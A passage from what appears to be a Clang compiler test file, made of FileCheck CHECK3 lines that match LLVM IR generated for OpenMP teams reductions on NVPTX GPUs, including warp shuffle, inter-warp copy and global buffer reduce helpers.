CHECK3-NEXT: [[TMP9:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK3-NEXT: [[TMP11:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP5]], i8* [[TMP10]], i32 2048, i8* [[TMP9]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func3, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func4, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func5, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func6, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func7, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func8) // CHECK3-NEXT: [[TMP12:%.*]] = icmp eq i32 [[TMP11]], 1 // CHECK3-NEXT: br i1 [[TMP12]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK3: .omp.reduction.then: // CHECK3-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP0]], align 1 // CHECK3-NEXT: [[CONV4:%.*]] = sext i8 [[TMP13]] to i32 // CHECK3-NEXT: [[TMP14:%.*]] = load i8, i8* [[C1]], align 1 // CHECK3-NEXT: [[CONV5:%.*]] = sext i8 [[TMP14]] to i32 // CHECK3-NEXT: [[XOR6:%.*]] = xor i32 [[CONV4]], [[CONV5]] // CHECK3-NEXT: [[CONV7:%.*]] = trunc i32 [[XOR6]] to i8 // CHECK3-NEXT: store i8 [[CONV7]], i8* [[TMP0]], align 1 // CHECK3-NEXT: [[TMP15:%.*]] = load float, float* [[TMP1]], align 4 // CHECK3-NEXT: [[TMP16:%.*]] = load float, float* [[D_ON_STACK]], align 4 // CHECK3-NEXT: [[MUL8:%.*]] = fmul float [[TMP15]], [[TMP16]] // CHECK3-NEXT: store float [[MUL8]], float* [[TMP1]], align 4 // CHECK3-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP5]]) // CHECK3-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK3: .omp.reduction.done: // CHECK3-NEXT: call void @__kmpc_free_shared(i8* [[D2]], i32 4) // CHECK3-NEXT: call void @__kmpc_free_shared(i8* [[C1]], i32 1) // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func3 // CHECK3-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i8, align 1 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca float, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK3-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP12:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK3-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP10]], align 1 // CHECK3-NEXT: [[TMP14:%.*]] = sext i8 [[TMP13]] to i32 // CHECK3-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP16:%.*]] = trunc i32 [[TMP15]] to i16 // CHECK3-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP14]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK3-NEXT: [[TMP18:%.*]] = trunc i32 [[TMP17]] to i8 // CHECK3-NEXT: store i8 [[TMP18]], i8* [[DOTOMP_REDUCTION_ELEMENT]], align 1 // CHECK3-NEXT: [[TMP19:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK3-NEXT: [[TMP20:%.*]] = getelementptr i8, i8* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK3-NEXT: store i8* [[DOTOMP_REDUCTION_ELEMENT]], i8** [[TMP11]], align 4 // CHECK3-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK3-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK3-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to float* // CHECK3-NEXT: [[TMP25:%.*]] = getelementptr float, float* [[TMP24]], i32 1 // CHECK3-NEXT: [[TMP26:%.*]] = bitcast float* [[TMP25]] to i8* // CHECK3-NEXT: [[TMP27:%.*]] = bitcast float* [[TMP24]] to i32* // CHECK3-NEXT: [[TMP28:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i32* // CHECK3-NEXT: [[TMP29:%.*]] = load i32, i32* [[TMP27]], align 4 // CHECK3-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK3-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK3-NEXT: store i32 [[TMP32]], i32* [[TMP28]], align 4 // CHECK3-NEXT: [[TMP33:%.*]] = getelementptr i32, i32* [[TMP27]], i32 1 // CHECK3-NEXT: [[TMP34:%.*]] = getelementptr i32, i32* [[TMP28]], i32 1 // CHECK3-NEXT: [[TMP35:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK3-NEXT: store i8* [[TMP35]], i8** [[TMP23]], align 4 // CHECK3-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK3-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP38:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP39:%.*]] = and i1 [[TMP37]], [[TMP38]] // CHECK3-NEXT: [[TMP40:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK3-NEXT: [[TMP41:%.*]] = and i16 [[TMP6]], 1 // CHECK3-NEXT: [[TMP42:%.*]] = icmp eq i16 [[TMP41]], 0 // CHECK3-NEXT: [[TMP43:%.*]] = and i1 [[TMP40]], [[TMP42]] // CHECK3-NEXT: [[TMP44:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK3-NEXT: [[TMP45:%.*]] = and i1 [[TMP43]], [[TMP44]] // CHECK3-NEXT: [[TMP46:%.*]] = or i1 [[TMP36]], [[TMP39]] // CHECK3-NEXT: [[TMP47:%.*]] = or i1 [[TMP46]], [[TMP45]] // CHECK3-NEXT: br i1 [[TMP47]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK3-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK3-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP48]], i8* [[TMP49]]) #[[ATTR3]] // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: [[TMP50:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP51:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP52:%.*]] = and i1 [[TMP50]], [[TMP51]] // CHECK3-NEXT: br i1 [[TMP52]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK3: then5: // CHECK3-NEXT: [[TMP53:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP54:%.*]] = load i8*, i8** [[TMP53]], align 4 // CHECK3-NEXT: [[TMP55:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP56:%.*]] = load i8*, i8** [[TMP55]], align 4 // CHECK3-NEXT: [[TMP57:%.*]] = load i8, i8* [[TMP54]], align 1 // CHECK3-NEXT: store i8 [[TMP57]], i8* [[TMP56]], align 1 // CHECK3-NEXT: [[TMP58:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP59:%.*]] = load i8*, i8** [[TMP58]], align 4 // CHECK3-NEXT: [[TMP60:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK3-NEXT: [[TMP61:%.*]] = load i8*, i8** [[TMP60]], align 4 // CHECK3-NEXT: [[TMP62:%.*]] = bitcast i8* [[TMP59]] to float* // CHECK3-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP61]] to float* // CHECK3-NEXT: [[TMP64:%.*]] = load float, float* [[TMP62]], align 4 // CHECK3-NEXT: store float [[TMP64]], float* [[TMP63]], align 4 // CHECK3-NEXT: br label [[IFCONT7:%.*]] // CHECK3: else6: // CHECK3-NEXT: br label [[IFCONT7]] // CHECK3: ifcont7: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func4 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK3-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK3-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP11:%.*]] = bitcast i32 addrspace(3)* [[TMP10]] to i8 addrspace(3)* // CHECK3-NEXT: [[TMP12:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK3-NEXT: store volatile i8 [[TMP12]], i8 addrspace(3)* [[TMP11]], align 1 // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK3: then2: // CHECK3-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP15:%.*]] = bitcast i32 addrspace(3)* [[TMP14]] to i8 addrspace(3)* // CHECK3-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK3-NEXT: [[TMP18:%.*]] = load volatile i8, i8 addrspace(3)* [[TMP15]], align 1 // CHECK3-NEXT: store i8 [[TMP18]], i8* [[TMP17]], align 1 // CHECK3-NEXT: br label [[IFCONT4:%.*]] // CHECK3: else3: // CHECK3-NEXT: br label [[IFCONT4]] // CHECK3: ifcont4: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK3: then6: // CHECK3-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK3-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 4 // CHECK3-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i32* // CHECK3-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP23:%.*]] = load i32, i32* [[TMP21]], align 4 // CHECK3-NEXT: store volatile i32 [[TMP23]], i32 addrspace(3)* [[TMP22]], align 4 // CHECK3-NEXT: br label [[IFCONT8:%.*]] // CHECK3: else7: // CHECK3-NEXT: br label [[IFCONT8]] // CHECK3: ifcont8: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP24:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP24]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK3: then10: // CHECK3-NEXT: [[TMP25:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP26:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK3-NEXT: [[TMP27:%.*]] = load i8*, i8** [[TMP26]], align 4 // CHECK3-NEXT: [[TMP28:%.*]] = bitcast i8* [[TMP27]] to i32* // CHECK3-NEXT: [[TMP29:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP25]], align 4 // CHECK3-NEXT: store i32 [[TMP29]], i32* [[TMP28]], align 4 // CHECK3-NEXT: br label [[IFCONT12:%.*]] // CHECK3: else11: // CHECK3-NEXT: br label [[IFCONT12]] // CHECK3: ifcont12: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func5 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK3-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK3-NEXT: store i8 [[TMP11]], i8* [[TMP10]], align 128 // CHECK3-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK3-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK3-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 1 // CHECK3-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP16:%.*]] = load float, float* [[TMP14]], align 4 // CHECK3-NEXT: store float [[TMP16]], float* [[TMP15]], align 128 // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func6 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK3-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP11]], i8* [[TMP12]]) #[[ATTR3]] // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func7 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK3-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP10]], align 128 // CHECK3-NEXT: store i8 [[TMP11]], i8* [[TMP9]], align 1 // CHECK3-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK3-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK3-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 1 // CHECK3-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP16:%.*]] = load float, float* [[TMP15]], align 128 // CHECK3-NEXT: store float [[TMP16]], float* [[TMP14]], align 4 // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func8 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK3-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP12]], i8* [[TMP11]]) #[[ATTR3]] // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l33 // CHECK3-SAME: (i32 [[A:%.*]], i32 [[B:%.*]]) #[[ATTR0]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[A_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[B_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK3-NEXT: store i32 [[A]], i32* [[A_ADDR]], align 4 // CHECK3-NEXT: store i32 [[B]], i32* [[B_ADDR]], align 4 // CHECK3-NEXT: [[CONV:%.*]] = bitcast i32* [[B_ADDR]] to i16* // CHECK3-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* 